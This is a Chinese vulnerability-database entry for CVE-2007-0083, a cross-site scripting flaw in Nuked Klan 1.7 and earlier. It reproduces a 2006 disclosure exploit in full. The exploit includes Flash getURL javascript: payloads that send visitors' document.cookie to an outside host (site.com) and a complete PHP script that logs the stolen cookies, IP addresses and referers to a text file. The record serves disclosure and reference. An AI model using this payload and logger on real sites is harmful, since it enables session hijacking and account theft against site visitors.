Nuked Klan 远程Cookie破解漏洞

QQ空间 新浪微博 微信 QQ facebook twitter
漏洞ID 1192239 漏洞类型 跨站脚本
发布时间 2007-01-05 更新时间 2007-01-15
CVE编号 CVE-2007-0083 CNNVD-ID CNNVD-200701-026
漏洞平台 N/A CVSS评分 6.8
|漏洞来源
https://cxsecurity.com/issue/WLB-2007010017
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200701-026
|漏洞详情
NukedKlan1.7及之前版本中存在跨站脚本攻击漏洞。远程攻击者可以借助.wsf文件中的getURL语句里的一个javascript:URI,来注入任意的web脚本或HTML。又称"远程cookie破解"。
|漏洞EXP
[-] Nuked Klan <= 1.7 Remote Cookie Disclosure Exploit
[-] Vendor : www.nuked-klan.org/
[-] Found by NeoSSJ & Kad'
[-] Full disclosure on 31 December 2006

[-] Notice :

you only have to create a *.swf file, and you put on :

getURL("javascript:alert('document.location="http://site.com/cookie.php?
cookie="+document.cookie');");

or anything like that to have the cookie of all the persons who will see the cookie :

[-] Exploitation : 
getURL("javascript:document.location='http://site.com/cookie.php?cookie=
'+document.cookie");

the php script is anything like that  :

<?php
 $cookie = $_GET['cookie'];
 $ip = getenv ('REMOTE_ADDR');
 $date=date("m/d/Y g:i:s a");
 $referer=getenv ('HTTP_REFERER');
 $fl = fopen('cookies.txt', 'a');
 fwrite($fl, "n".$ip.' :: '.$date."n".$referer." :: ".$cookie."n");
 fclose($fl);
?>

then you only have to go to http://site.com/cookies.txt, and you have the cookies of 
all the persons who have seen your signature

Greetz to : Macromedia Flash Software, and every body who know us.
|参考资料

来源:BID
名称:21850
链接:http://www.securityfocus.com/bid/21850
来源:BUGTRAQ
名称:20070102NukedKlan<=1.7RemoteCookieDisclosureExploit
链接:http://www.securityfocus.com/archive/1/archive/1/455726/100/0/threaded
来源:OSVDB
名称:33368
链接:http://osvdb.org/33368
来源:SREASON
名称:2101
链接:http://securityreason.com/securityalert/2101